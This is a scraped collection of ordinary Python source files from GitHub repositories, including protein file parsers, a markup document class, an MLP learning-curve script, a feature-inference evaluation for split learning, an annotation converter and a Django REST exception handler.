as file:\n data = json.load(file)\n #endregion ----------------------------------------------------> Read file\n\n return data\n#---\n\n\ndef ReadCSV2DF(\n fileP:Union[Path, str],\n sep:str = '\\t',\n index_col:Optional[int] = None,\n header:Union[int, list[int], None, Literal['infer']] = 'infer',\n ) -> pd.DataFrame:\n \"\"\"Reads a CSV file and returns a pandas dataframe.\n\n Parameters\n ----------\n fileP: str or Path\n Path to the file.\n sep: str\n Column separator in the CSV file. Default is tab.\n index_col: int or None\n Index of the column names.\n header: int, list[int], None\n Use list[int] for multi index columns.\n\n Returns\n -------\n dataframe:\n Pandas dataframe with the data.\n \"\"\"\n # Test in test.unit.core.test_file.Test_ReadCSV2DF\n #region -------------------------------------------------------> Read file\n return pd.read_csv(\n str(fileP), sep=sep, index_col=index_col, header=header)\n #endregion ----------------------------------------------------> Read file\n#---\n\n\ndef ReadFileFirstLine(\n fileP:Union[Path, str],\n char:str = '\\t',\n empty:bool = False,\n ) -> list[str]:\n \"\"\"Custom method to read the first line in a file.\n\n Parameters\n ----------\n fileP: path or str\n File path of the file to be read.\n char: str\n each line in the file is splitted using the value of char or not if\n char is empty.\n empty: boolean\n Return first non-empty line (False) or first line (True).\n\n Returns\n -------\n list of list\n List of list containing the lines in the read file like:\n [['first', 'line'], ['second', 'line'], ... , ['last', 'line']]\n\n Notes\n -----\n - The method returns a list containing the first line in the file.\n - The line is splitted using char.\n - The first non-empty line is returned if empty is False, otherwise the\n first line is returned independently of the line content.\n - If the file is empty an empty line is returned.\n \"\"\"\n # Test in test.unit.core.test_file.Test_ReadFileFirstLine\n #region --------------------------------------------> Read and split lines\n with open(fileP, 'r', encoding=\"utf-8\") as file:\n for line in file:\n #------------------------------> # Remove ' ', \\n, \\t & \\r from start/end of line\n l = line.strip()\n #------------------------------> Discard empty lines\n if l == '' and not empty:\n continue\n #------------------------------> Return splitted line\n if char:\n return l.split(char)\n #------------------------------> Return first line\n return [l]\n #endregion -----------------------------------------> Read and split lines\n\n #------------------------------> If file is empty then return\n return []\n#---\n\n\ndef WriteJSON(fileP:Union[Path, str], data:dict) -> bool:\n \"\"\"Writes a JSON file.\n\n Parameters\n ----------\n fileP: str or Path\n Path to the file.\n data: dict\n Data to be written.\n\n Return\n ------\n bool\n \"\"\"\n # No test\n #region ---------------------------------------------------> Write to file\n with open(fileP, 'w', encoding=\"utf-8\") as file:\n json.dump(data, file, indent=4)\n #endregion ------------------------------------------------> Write to file\n\n return True\n#---\n\n\ndef WriteDF2CSV(\n fileP:Union[Path, str],\n df:pd.DataFrame,\n sep:str = '\\t',\n na_rep:str = 'NA',\n index:bool = False,\n ) -> bool:\n \"\"\"Writes a dataframe to CSV formatted file.\n\n Parameters\n ----------\n fileP: str or Path\n Path to the file.\n df: pd.DataFrame\n Data frame to be written.\n sep: str\n Character to separate columns in the CSV file.\n na_rep: str\n Character to represent NA values.\n index: boolean\n Write index columns\n \"\"\"\n # No Test\n #region ---------------------------------------------------> Write to file\n df.to_csv(str(fileP), sep=sep, na_rep=na_rep, index=index)\n return True\n #endregion ------------------------------------------------> Write to file\n#---\n\n\ndef WriteDFs2CSV(\n baseP:Path,\n ncDict:dict[str, pd.DataFrame],\n sep:str = '\\t',\n na_rep:str = 'NA',\n index:bool = False\n ) -> bool:\n \"\"\"Write several pd.DataFrames to baseP as CSV files.\n\n Parameters\n ----------\n baseP: Path\n Folder in which all files will be saved.\n ncDict: dict\n Keys are file names and values the pd.DataFrames.\n sep: str\n Character to separate columns in the csv file.\n na_rep: str\n Character to represent NA values.\n index: boolean\n Write index columns.\n\n Notes\n -----\n Existing files will be overwritten if needed.\n \"\"\"\n # No test\n #region ---------------------------------------------------> Write to file\n for k,i in ncDict.items():\n fileP = baseP / k\n WriteDF2CSV(fileP, i, sep=sep, na_rep=na_rep, index=index)\n #endregion ------------------------------------------------> Write to file\n\n return True\n#---\n#endregion ----------------------------------------------------------> Methods\n\n\n#region -------------------------------------------------------------> Classes\nclass FastaFile():\n \"\"\"Class to handle fasta files.\n\n Parameters\n ----------\n fileP: Path or str\n Path to the fasta file.\n\n Attributes\n ----------\n rAlignment: BioPython alignment\n Last calculated alignment.\n rFileP: Path or str\n Path to the fasta file.\n rHeaderNat: str\n Header for the Native sequence.\n rHeaderRec: str\n Header for the Recombinant sequence.\n rSeqLengthNat: int\n Length of the Native sequence. 0 if native sequence is not present.\n rSeqLengthRec: int\n Length of the Recombinant sequence.\n rSeqNat: str\n Sequence of the Native sequence.\n rSeqRec: str\n Sequence of the Recombinant sequence.\n\n Notes\n -----\n It handle the first two sequences in the file. All other sequences\n are discarded. It is assumed that the first sequence is the recombinant\n sequence and the second sequence is the native sequence.\n \"\"\"\n # Test in test.unit.core.test_file.Test_FastaFile\n #region --------------------------------------------------> Instance setup\n def __init__(self, fileP: Union[Path, str]) -> None:\n \"\"\" \"\"\"\n #region -----------------------------------------------> Initial Setup\n self.rFileP = fileP\n #------------------------------>\n gen = cGenerator.FastaSequence(fileP)\n #------------------------------>\n self.rHeaderRec, self.rSeqRec = next(gen)\n self.rSeqLengthRec = len(self.rSeqRec)\n self.rAlignment = []\n #------------------------------>\n try:\n self.rHeaderNat, self.rSeqNat = next(gen)\n self.rSeqLengthNat = len(self.rSeqNat)\n except StopIteration:\n self.rHeaderNat, self.rSeqNat, self.rSeqLengthNat = ('', '', 0)\n except Exception as e:\n msg = (f'There was an unexpected error when parsing the fasta '\n f'file.\\n{fileP}')\n raise ValueError(msg) from e\n #endregion --------------------------------------------> Initial Setup\n #---\n #endregion -----------------------------------------------> Instance setup\n\n #region ---------------------------------------------------> Class methods\n def FindSeq(self, seq:str, seqRec:bool=True) -> tuple[int, int]:\n \"\"\"Find the location of seq in the sequence of the Rec or Nat Protein.\n\n Parameters\n ----------\n seq: str\n Peptide sequence to find in the Protein sequence\n seqRec: bool\n Search on the recombinant (True) or native sequence (False).\n\n Returns\n -------\n tuple[int, int]\n The N and C residue numbers of seq in the protein sequence.\n\n Raises\n ------\n RuntimeError:\n - When seqRec is False but self.seqNat is None.\n\n Notes\n -----\n [-1, -1] is returned if seq is not found inside the protein\n sequence.\n - First match is returned if the search sequence is found more than\n once in the protein sequence.\n \"\"\"\n #region -------------------------------------------------> Check Input\n if not self.rSeqNat and not seqRec:\n msg = (\"The Native sequence of the protein is undefined. The \"\n \"peptide sequence can only be searched for in the \"\n \"Recombinant sequence\")\n raise RuntimeError(msg)\n #endregion ----------------------------------------------> Check Input\n\n #region ------------------------------------------------------> Find N\n n = self.rSeqRec.find(seq) if seqRec else self.rSeqNat.find(seq)\n #------------------------------>\n if n == -1:\n return (-1, -1)\n #endregion ---------------------------------------------------> Find N\n\n #region ------------------------------------------------------> Find C\n n = n + 1\n c = n + len(seq) - 1\n #endregion ---------------------------------------------------> Find C\n\n return (n, c)\n #---\n\n def CalculateAlignment(self, seqA:str, seqB:str):\n \"\"\"Calculate the sequence alignment between both sequences.\n\n Parameters\n ----------\n seqA: str\n Reference sequence.\n seqB: str\n Second sequence.\n\n Returns\n -------\n BioPython Alignment\n \"\"\"\n #region -----------------------------------------------> Blosum matrix\n blosum62 = substitution_matrices.load(\"BLOSUM62\")\n #endregion --------------------------------------------> Blosum matrix\n\n #region ---------------------------------------------------> Alignment\n return pairwise2.align.globalds(seqA, seqB, blosum62, -10, -0.5) # type: ignore\n #endregion ------------------------------------------------> Alignment\n #---\n\n def SetSelfAlignment(self) -> bool:\n \"\"\"Calculate the sequence alignment between the Recombinant and Native\n sequences.\n\n Returns\n -------\n bool\n\n Raise\n -----\n ValueError if self.rSeqNat is empty.\n \"\"\"\n #region --------------------------------------------------->\n if not self.rSeqNat:\n msg = ('It is not possible to calculate the sequence alignment '\n 'because the Fasta file contains only one sequence.')\n raise RuntimeError(msg)\n #endregion ------------------------------------------------>\n\n #region ---------------------------------------------------> Alignment\n if not getattr(self, 'rAlignment', []):\n self.rAlignment = self.CalculateAlignment(self.rSeqRec,self.rSeqNat)\n #endregion ------------------------------------------------> Alignment\n\n return True\n #---\n\n def GetSelfAlignment(self):\n \"\"\"Get the alignment between the Recombinant and Native sequence.\n\n Returns\n -------\n BioPython alignment.\n \"\"\"\n self.SetSelfAlignment()\n return self.rAlignment\n #---\n\n def GetSelfDelta(self) -> int:\n \"\"\"Get Residue number difference between the Recombinant and Native\n sequence.\n\n Returns\n -------\n int\n\n Notes\n -----\n It is assumed both sequences differ only at the N or C terminal\n region.\n \"\"\"\n #region ---------------------------------------------------> Alignment\n self.SetSelfAlignment()\n seqB = self.rAlignment[0].seqB\n #endregion ------------------------------------------------> Alignment\n\n #region ---------------------------------------------------> Get delta\n for k,l in enumerate(seqB):\n if l != '-':\n return -1 * k\n #------------------------------>\n return 0 # ProtRec and ProtNat are the same\n #endregion ------------------------------------------------> Get delta\n #---\n\n def GetNatProtLoc(self) -> tuple[int,int]:\n \"\"\"Get the location of the Native sequence inside the Recombinant\n sequence.\n\n Returns\n -------\n tuple\n First and last residue.\n\n Notes\n -----\n It is assumes both sequences differ only at the N or C terminal\n region.\n \"\"\"\n #region ---------------------------------------------------> Alignment\n self.SetSelfAlignment()\n seqB = self.rAlignment[0].seqB\n #endregion ------------------------------------------------> Alignment\n\n #region -------------------------------------------> Get Left Position\n ll = None\n #------------------------------>\n for k,l in enumerate(seqB, start=1):\n if l != '-':\n ll = k\n break\n #------------------------------>\n ll = 1 if ll is None else ll\n #endregion ----------------------------------------> Get Left Position\n\n #region ------------------------------------------> Get Right Position\n lr = None\n #------------------------------>\n for k,l in reversed(list(enumerate(seqB, start=1))):\n if l != '-':\n lr = k\n break\n #------------------------------>\n lr = self.rSeqLengthRec if lr is None else lr\n #endregion ---------------------------------------> Get Right Position\n\n return (ll, lr)\n #---\n #endregion ------------------------------------------------> Class methods\n#---\n\n\nclass CSVFile():\n \"\"\"Class to deal with CSV formatted input files.\n\n Parameters\n ----------\n fileP: str or Path\n Path to the input file.\n sep: str\n Column separator character in the CSV file.\n\n Attributes\n ----------\n rData: pd.DataFrame\n This is the initial data and will not be modified. It is just to\n read from if needed.\n rDf: pd.DataFrame\n Copy of the df in the file that can be modified.\n rFileP: str or Path\n Path to the CSV file.\n rHeader: list\n List with the names of the columns in the CSV file. It is assumed\n the names are in the first row of the file.\n rNRow, rNCol: int\n Number of rows and columns in self.rData.\n\n Notes\n -----\n It is assumed the CSV file has column names in the first row.\n \"\"\"\n # Test in test.unit.core.test_file.Test_CSVFile\n #region --------------------------------------------------> Instance setup\n def __init__(self, fileP:Union[Path, str], sep:str=\"\\t\") -> None:\n \"\"\" \"\"\"\n #region -----------------------------------------------> Initial Setup\n self.rFileP = fileP\n #endregion --------------------------------------------> Initial Setup\n\n #region ---------------------------------------------------> Read File\n self.rData = ReadCSV2DF(self.rFileP, sep=sep)\n #endregion ------------------------------------------------> Read File\n\n #region ---------------------------------------------------> Variables\n self.rDf = self.rData.copy()\n self.rHeader = list(self.rData.columns)\n self.rNRow, self.rNCol = self.rDf.shape\n #endregion ------------------------------------------------> Variables\n #---\n #endregion -----------------------------------------------> Instance setup\n\n #region ---------------------------------------------------> Class methods\n def StrInCol(self, tStr:str, col:int) -> bool:\n \"\"\"Basically check if str is in col.\n\n Parameters\n ----------\n tStr: str\n String to look for.\n col: int\n Column containing the string.\n\n Returns\n -------\n bool\n \"\"\"\n df = cMethod.DFFilterByColS(self.rData, col, tStr, comp='e')\n return not df.empty\n #---\n #endregion ------------------------------------------------> Class methods\n#---\n\n\nclass PDBFile():\n \"\"\"Basic class to handle PDB files.\n\n Parameters\n ----------\n fileP: Path or str\n Path to the PDB file.\n\n Attributes\n ----------\n cDFAtomCol: list[str]\n Name of the columns in the pd.DataFrame representation of the PDB.\n cPDBformat: str\n Format of the PDB.\n rChain: list[str]\n Chains in the PDB.\n rDFAtom: pd.DataFrame\n DataFrame representation of the PDB. Contains only the ATOM section\n of the PDB.\n rFileP: Path or str\n Path to the PDB file.\n \"\"\"\n # Test in test.unit.core.test_file.Test_PDBFile\n #region -----------------------------------------------------> Class setup\n # Col names for the DF with the atom information in the pdb file\n cDFAtomCol = [\n 'ATOM',\n 'ANumber',\n 'AName',\n 'AltLoc',\n 'ResName',\n 'Chain',\n 'ResNum',\n 'CodeResIns',\n 'X',\n 'Y',\n 'Z',\n 'Occupancy',\n 'Beta',\n 'Segment',\n 'Element',\n ]\n #------------------------------>\n cPDBformat = (\"{:6s}{:5d} {:^4s}{:1s}{:3s} {:1s}{:4d}{:1s} {:8.3f}{:8.3f}\"\n \"{:8.3f}{:6.2f}{:6.2f} {:4s}{:2s}\")\n #endregion --------------------------------------------------> Class setup\n\n #region --------------------------------------------------> Instance Setup\n def __init__(self, fileP:Union[Path, str]) -> None:\n \"\"\" \"\"\"\n #region -----------------------------------------------> Initial Setup\n self.rFileP = fileP\n self.ParsePDB()\n #endregion --------------------------------------------> Initial Setup\n #---\n #endregion -----------------------------------------------> Instance Setup\n\n #region --------------------------------------------------> Manage Methods\n def ParsePDB(self) -> bool:\n \"\"\"Parse the PDB and create the DataFrame representation.\n\n Returns\n -------\n bool\n\n Notes\n -----\n The created DataFrame contains only the ATOM section of the PDB.\n \"\"\"\n #region --------------------------------------------------->\n ldf = []\n #endregion ------------------------------------------------>\n\n #region --------------------------------------------------->\n with open(self.rFileP, 'r', encoding=\"utf-8\") as file:\n for l in file:\n if l[0:4] == 'ATOM':\n lo = []\n lo.append(l[0:6].strip())\n lo.append(int(l[6:11].strip()))\n lo.append(l[12:16].strip())\n lo.append(l[16].strip())\n lo.append(l[17:20].strip())\n lo.append(l[21].strip())\n lo.append(int(l[22:26].strip()))\n lo.append(l[26].strip())\n lo.append(float(l[30:38].strip()))\n lo.append(float(l[38:46].strip()))\n lo.append(float(l[46:54].strip()))\n lo.append(float(l[54:60].strip()))\n lo.append(float(l[60:66].strip()))\n lo.append(l[72:76].strip())\n lo.append(l[76:78].strip())\n ldf.append(lo)\n #endregion ------------------------------------------------>\n\n #region --------------------------------------------------->\n self.rDFAtom = pd.DataFrame(ldf, columns=self.cDFAtomCol)\n self.rChain = self.rDFAtom['Chain'].unique()\n #endregion ------------------------------------------------>\n\n return True\n #---\n\n def WritePDB(self, fileP:Union[Path, str], chain:str) -> bool:\n \"\"\"Write a PDB File.\n\n Parameters\n ----------\n fileP: Path or str\n Path for the file to be written.\n chain: str\n Chain to write.\n\n Returns\n -------\n bool\n \"\"\"\n #region -------------------------------------------------------->\n def _line2PDBFormat(row:np.ndarray, buff):\n \"\"\"Apply the correct format to the row in the DataFrame and write\n the line to the buffer.\n\n Parameters\n ----------\n row: np.ndarray\n Row in the DataFrame as np.ndarray.\n buff:\n Buffer to write to.\n\n Returns\n -------\n bool\n \"\"\"\n buff.write(f'{self.cPDBformat.format(*row)}\\n')\n #---\n #endregion ----------------------------------------------------->\n\n #region --------------------------------------------------->\n df = self.rDFAtom[self.rDFAtom['Chain'] == chain].copy()\n df = df.replace(np.nan, '')\n #endregion ------------------------------------------------>\n\n #region --------------------------------------------------->\n buff = open(fileP, 'w', encoding=\"utf-8\")\n df.apply(_line2PDBFormat, raw=True, axis=1, args=[buff]) # type: ignore\n buff.write('END')\n buff.close()\n #endregion ------------------------------------------------>\n\n return True\n #---\n\n def GetSequence(self, chain:str) -> str:\n \"\"\"Get the sequence of a chain in the PDB.\n\n Parameters\n ----------\n chain: str\n Selected chain.\n\n Returns\n -------\n str\n One letter AA sequence in the selected Chain.\n \"\"\"\n #region --------------------------------------------------->\n dfd = self.rDFAtom[self.rDFAtom['Chain']==chain]\n #endregion ------------------------------------------------>\n\n #region --------------------------------------------------->\n dfd = dfd.drop_duplicates(subset='ResNum', keep='first', inplace=False)\n dfd = dfd.loc[dfd.loc[:,'ResName'].isin(mConfig.core.oAA3toAA)]\n seq = dfd['ResName'].tolist()\n #endregion ------------------------------------------------>\n\n return \"\".join([mConfig.core.oAA3toAA[x] for x in seq])\n #---\n\n def GetResNum(self, chain:str) -> list:\n \"\"\"Get the residue number for the selected chain.\n\n Parameters\n ----------\n chain: str\n Selected chain.\n\n Returns\n -------\n list\n Residue numbers for the selected chain.\n \"\"\"\n #region --------------------------------------------------->\n dfd = self.rDFAtom[self.rDFAtom['Chain']==chain]\n #endregion ------------------------------------------------>\n\n #region --------------------------------------------------->\n dfd = dfd.drop_duplicates(subset='ResNum', keep='first', inplace=False)\n #endregion ------------------------------------------------>\n\n return dfd['ResNum'].tolist()\n #---\n\n def SetBeta(self, chain:str, beta:dict) -> bool:\n \"\"\"Set the beta values for the selected chain.\n\n Parameters\n ----------\n chain: str\n Selected chain.\n beta: dict\n Beta values, keys are residue numbers and values the\n corresponding beta value.\n\n Returns\n -------\n bool\n \"\"\"\n #region --------------------------------------------------->\n mask = (\n (self.rDFAtom['Chain']==chain)&(self.rDFAtom['ResNum'].isin(beta)))\n idxR = self.rDFAtom[mask].index.tolist()\n idxCB = self.rDFAtom.columns.get_loc('Beta')\n idxCR = self.rDFAtom.columns.get_loc('ResNum')\n #endregion ------------------------------------------------>\n\n #region --------------------------------------------------->\n self.rDFAtom.iloc[idxR, idxCB] = (\n self.rDFAtom.iloc[idxR, idxCR].apply(lambda x: beta[x]))\n #endregion ------------------------------------------------>\n\n return True\n #---\n #endregion -----------------------------------------------> Manage Methods\n#---\n#endregion ----------------------------------------------------------> Classes\n","repo_name":"Kbr85/UMSAP","sub_path":"CODE/core/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":26275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73612843122","text":"from .node import Node\n\n\nclass Document(Node):\n def __init__(self, **kwargs):\n super().__init__(\n name='document',\n parent=None,\n **kwargs,\n )\n\n def __str__(self) -> str:\n s = ''\n for child in self.children:\n s += str(child) + '\\n'\n return s\n\n def attach(self, parent: Node):\n self.parent = None\n\n def markup(self, width: int) -> str:\n markup = ''\n for child in self.children:\n markup += child.markup(width)\n return markup\n","repo_name":"donmccaughey/donm_cc","sub_path":"gen/markup/document.py","file_name":"document.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18968894793","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.datasets import load_digits\nfrom sklearn.model_selection import learning_curve\nfrom sklearn.model_selection import ShuffleSplit\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.model_selection import train_test_split\n\npath1 = \"../data/FB_features.csv\"\npath2 = \"../data/AAPL_features.csv\"\npath3 = \"../data/AMZN_features.csv\"\npath4 = \"../data/CMG_features.csv\"\npath5 = \"../data/F_features.csv\"\npath6 = \"../data/JPM_features.csv\"\npath7 = \"../data/JWN_features.csv\"\npath8 = \"../data/KO_features.csv\"\npath9 = \"../data/UA_features.csv\"\n\npaths = [path1, path2, path3, path4, path5,path6,path7,path8, path9]\n# path1, path2,path3,path4,\ndef Merge_csv_DataFrame(paths):\n\tframes = []\n\tfor path in paths:\n\t\tframes.append(pd.read_csv(path, header=None))\n\tresult = pd.concat(frames)\n\treturn result\n\ndef Process_mutiple_data(raw_data):\n\tnum_cols \t\t= len(raw_data.columns)\n\tfeatures \t\t= raw_data.loc[:,1:num_cols-2]\n\tlabels\t \t\t= raw_data.loc[:,num_cols-1]\n\tfeatures_list \t= features.values.tolist()\n\tlabels_list\t\t= labels.values.tolist()\n\treturn [features_list,labels_list]\n\ndef Process_data(path):\n\traw_data \t\t= pd.read_csv(path,header=None)\n\tnum_cols \t\t= len(raw_data.columns)\n\tfeatures \t\t= raw_data.loc[:,1:num_cols-2]\n\tlabels\t \t\t= raw_data.loc[:,num_cols-1]\n\tfeatures_list \t= features.values.tolist()\n\tlabels_list\t\t= labels.values.tolist()\n\treturn [features_list,labels_list]\n\ndef accuracy(predict_label, true_label):\n\tincorrect = 0\n\tcorrect = 0\n\ttotal\t= len(predict_label)\n\tcorrect_pred = np.ones(3)\n\tfor i in xrange(len(predict_label)):\n\t\t#print predict_label[i]\n\t\t#print true_label[i]\n\t\tif predict_label[i] != true_label[i]:\n\t\t\tincorrect+=1\n\t\t\t# print \"classifier has made a mistake\"\n\t\t\t# print \"predict label: \", predict_label[i]\n\t\t\t# print \"true label: \", true_label[i]\n\t\telse:\n\t\t\tcorrect_pred[true_label[i]] = correct_pred[true_label[i]] + 1\n\t\t\tcorrect+=1\n\n\taccuracy = correct/total\n\t# print \"#total = \", total\n\t# print \"#incorrect = \",incorrect\n\t# print \"#correct = \", correct\n\t# print \"accuracy = \", accuracy\n\ttemp = np.array(true_label)\n\tpred_temp = np.array(predict_label)\n\t# print \"percentage of zeros = \", len(temp[temp==0])/len(temp)\n\t# print \"accuracy of predicting zeros = \", correct_pred[0]/len(temp[temp==0]) \n\t# print \"accuracy of predicting ones = \", correct_pred[1]/len(temp[temp==1])\n\t# print \"accuracy of predicting twos = \", correct_pred[2]/len(temp[temp==2])\n\treturn accuracy, correct_pred[1]/len(temp[temp==1]), correct_pred[2]/len(temp[temp==2])\n\n\ndef plot_learning_curve(estimator, title, X, y, ylim=None, cv=None,\n n_jobs=1, train_sizes=np.linspace(.1, 1.0, 5)):\n \"\"\"\n Generate a simple plot of the test and training learning curve.\n\n Parameters\n ----------\n estimator : object type that implements the \"fit\" and \"predict\" methods\n An object of that type which is cloned for each validation.\n\n title : string\n Title for the chart.\n\n X : array-like, shape (n_samples, n_features)\n Training vector, where n_samples is the number of samples and\n n_features is the number of features.\n\n y : array-like, shape (n_samples) or (n_samples, n_features), optional\n Target relative to X for classification or regression;\n None for unsupervised learning.\n\n ylim : tuple, shape (ymin, ymax), optional\n Defines minimum and maximum yvalues plotted.\n\n cv : int, cross-validation generator or an iterable, optional\n Determines the cross-validation splitting strategy.\n Possible inputs for cv are:\n - None, to use the default 3-fold cross-validation,\n - integer, to specify the number of folds.\n - An object to be used as a cross-validation generator.\n - An iterable yielding train/test splits.\n\n For integer/None inputs, if ``y`` is binary or multiclass,\n :class:`StratifiedKFold` used. If the estimator is not a classifier\n or if ``y`` is neither binary nor multiclass, :class:`KFold` is used.\n\n Refer :ref:`User Guide ` for the various\n cross-validators that can be used here.\n\n n_jobs : integer, optional\n Number of jobs to run in parallel (default 1).\n \"\"\"\n plt.figure()\n plt.title(title)\n if ylim is not None:\n plt.ylim(*ylim)\n plt.xlabel(\"Training examples\")\n plt.ylabel(\"Score\")\n train_sizes, train_scores, test_scores = learning_curve(\n estimator, X, y, cv=cv, n_jobs=n_jobs, train_sizes=train_sizes)\n train_scores_mean = np.mean(train_scores, axis=1)\n train_scores_std = np.std(train_scores, axis=1)\n test_scores_mean = np.mean(test_scores, axis=1)\n test_scores_std = np.std(test_scores, axis=1)\n plt.grid()\n\n plt.fill_between(train_sizes, train_scores_mean - train_scores_std,\n train_scores_mean + train_scores_std, alpha=0.1,\n color=\"r\")\n plt.fill_between(train_sizes, test_scores_mean - test_scores_std,\n test_scores_mean + test_scores_std, alpha=0.1, color=\"g\")\n plt.plot(train_sizes, train_scores_mean, 'o-', color=\"r\",\n label=\"Training score\")\n plt.plot(train_sizes, test_scores_mean, 'o-', color=\"g\",\n label=\"Cross-validation score\")\n\n plt.legend(loc=\"best\")\n return plt\n\n\n'''\n#activation : {identity, logistic, tanh, relu}, default relu\n#solver : {lbfgs, sgd, adam}, default adam\n'''#\nclf = MLPClassifier(solver='lbgfs', activation = 'logistic', alpha=1e-5, hidden_layer_sizes=(10,5), random_state=1,max_iter =10000)\n#relu is not as stable as logistic, because the gradient issue?\n#lbfgs peforms significantly better than sgd, because it is second-order update which \n# takes the model closer to the optimal per iteration, but the cost per\n# iteration is bigger than sgd\n\n# predict_dat = Process_data(path1)\n# This returns a pandas dataframe that contains all the features and labels data\ndf = Merge_csv_DataFrame(paths)\ndata = Process_mutiple_data(df)\n\n\ntitle = \"Learning Curve MLP\"\ncv = ShuffleSplit(n_splits=2, test_size=0.2, random_state=0)\nestimator = clf \nplot_learning_curve(estimator, title, data[0], data[1], (0.5, 1.01), cv=cv, n_jobs=1)\nplt.show()\n","repo_name":"AssasinRay/automate-tradingSystem","sub_path":"automate-trading-system/scripts/learning_curve.py","file_name":"learning_curve.py","file_ext":"py","file_size_in_byte":6282,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"14144705209","text":"import torch\r\nimport torch.nn as nn\r\nimport numpy as np\r\nfrom utils import accuracy, powerset\r\nfrom attack import leverage_score_solve\r\nfrom defend import Defense\r\n\r\ndef eval(net, data, bf):\r\n train_dataset, train_loader, test_dataset, test_loader = data\r\n criterion = nn.CrossEntropyLoss()\r\n train_acc = 0.0\r\n test_acc = 0.0\r\n A = []\r\n X = []\r\n D1 = net.d1\r\n if isinstance(net.defense, Defense):\r\n D1 = D1 - net.defense.nd + net.defense.nf\r\n net.defense.set_mode('train')\r\n # extract intermediate output\r\n def hook_forward_fn(module, input, output):\r\n A.append(output.numpy()[:, :D1])\r\n net.inter.register_forward_hook(hook_forward_fn)\r\n with torch.no_grad():\r\n for i, (data, target) in enumerate(train_loader):\r\n X.append(data.numpy())\r\n output = net(data)\r\n loss = criterion(output, target)\r\n train_acc += accuracy(output, target).item() * len(data)\r\n train_acc /= len(train_dataset)\r\n with torch.no_grad():\r\n for i, (data, target) in enumerate(test_loader):\r\n X.append(data.numpy())\r\n output = net(data)\r\n loss = criterion(output, target)\r\n test_acc += accuracy(output, target).item() * len(data)\r\n test_acc /= len(test_dataset)\r\n A = np.concatenate(A, axis=0)\r\n X = np.concatenate(X, axis=0)\r\n sol, val = leverage_score_solve(A, 20, D1 + 1)\r\n cov = np.dot(A.T, A)\r\n for bid in bf:\r\n real_x = np.linalg.solve(cov, np.dot(A.T, X[:, bid].reshape(-1, 1)))\r\n print('error of feature no.{}:'.format(bid), np.sum((X[:, bid].reshape(-1, 1) - np.dot(A, real_x.reshape(A.shape[1], 1))) ** 2))\r\n print('error of solution:', val)\r\n rec = np.dot(A, sol.reshape(A.shape[1], 1))\r\n if isinstance(net.defense, Defense):\r\n idx_fake, acc_fake = 0, 0\r\n for i in range(net.defense.nf):\r\n acc = np.sum(np.isclose(X[:, net.d1 + net.d2 + i].reshape(-1, 1), rec > 0.5)) / X.shape[0]\r\n if acc > acc_fake:\r\n acc_fake = acc\r\n idx_fake = i\r\n print('attack acc w.r.t. fake label no.{}:'.format(idx_fake), acc_fake)\r\n idx, best_acc = 0, 0\r\n for i in range(net.d1):\r\n acc = np.sum(np.isclose(X[:, i].reshape(-1, 1), rec > 0.5)) / X.shape[0]\r\n if acc > best_acc:\r\n idx, best_acc = i, acc\r\n for feats in powerset(bf):\r\n nf = len(feats)\r\n if nf < 2:\r\n continue\r\n for sign in range(1):\r\n feat_sum = np.zeros(X.shape[0])\r\n for i in range(nf):\r\n feat_sum += X[:, feats[i]] * (1 if (sign & (1 << i)) == 0 else -1)\r\n acc = np.sum(np.isclose(feat_sum.reshape(-1, 1), rec > 0.5)) / X.shape[0]\r\n if acc > best_acc:\r\n idx, best_acc = feats, acc\r\n return train_acc, test_acc, best_acc, idx\r\n","repo_name":"isdkfj/binary-attack","sub_path":"eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":2877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27495713206","text":"import xml.etree.ElementTree as ET\nfrom os import getcwd\nimport glob\nfrom lxml import etree\n\nclasses = [\"raccoon\"]\n\n\ndef convert_annotation(image_id):\n in_file = open('./train_ann/%s.xml'%(image_id))\n tree=ET.parse(in_file)\n root = tree.getroot()\n txt_file = open('./txt/%s.txt'%(image_id), 'w')\n xml = open(r'{}'.format('./train_ann/%s.xml'%(image_id))).read()\n sel = etree.HTML(xml)\n width = int(sel.xpath('//size/width/text()')[0])\n height = int(sel.xpath('//size/height/text()')[0])\n for obj in root.iter('object'):\n difficult = obj.find('difficult').text\n cls = obj.find('name').text\n if cls not in classes or int(difficult)==1:\n continue\n cls_id = classes.index(cls)\n xmlbox = obj.find('bndbox')\n b = (round(int(xmlbox.find('xmin').text)/width,4), round(int(xmlbox.find('ymin').text)/height,4),\n round(int(xmlbox.find('xmax').text)/width,4), round(int(xmlbox.find('ymax').text)/height,4))\n txt_file.write(str(cls_id) + \" \"+ \" \".join([str(a) for a in b]) + ' ')\n\n\nxmls = glob.glob('./train_ann/*.xml')\nxmls_names = [x.split('\\\\')[-1].split('.xml')[0] for x in xmls]\nfor image_id in xmls_names:\n convert_annotation(image_id)\n \n","repo_name":"IDYKI/colab-yolov3","sub_path":"xml-txt.py","file_name":"xml-txt.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"75"} +{"seq_id":"17775500427","text":"\n\nfrom rest_framework.views import exception_handler\n\ndef custom_exception_handler(exc, context):\n\n response = exception_handler(exc, context) # getting the standard error response first\n\n def _handle_generic_error(exc, context, response):\n status_code = response.status_code # customising the status code\n response.data = {\"status_code\" : status_code, \"error\" : response.data} # custom response\n return response\n\n def _handle_not_found_error(exc, context, response):\n view = context.get(\"view\", None)\n if view and hasattr(view, \"queryset\") and view.queryset is not None:\n status_code = response.status_code\n error_key = view.queryset.model._meta.verbose_name\n response.data = {\n \"status_code\" : status_code,\n \"errors\" : {error_key : response.data[\"detail\"]},\n }\n else:\n response = _handle_generic_error(exc, context, response)\n return response\n\n handlers = {\n 'ValidationError' : _handle_generic_error,\n 'NotFound' : _handle_not_found_error\n }\n\n exception_class = exc.__class__.__name__ # gives the error which is raised \n\n if exception_class in handlers:\n return handlers[exception_class](exc, context, response)\n return response # let django handle the exception the exception if its 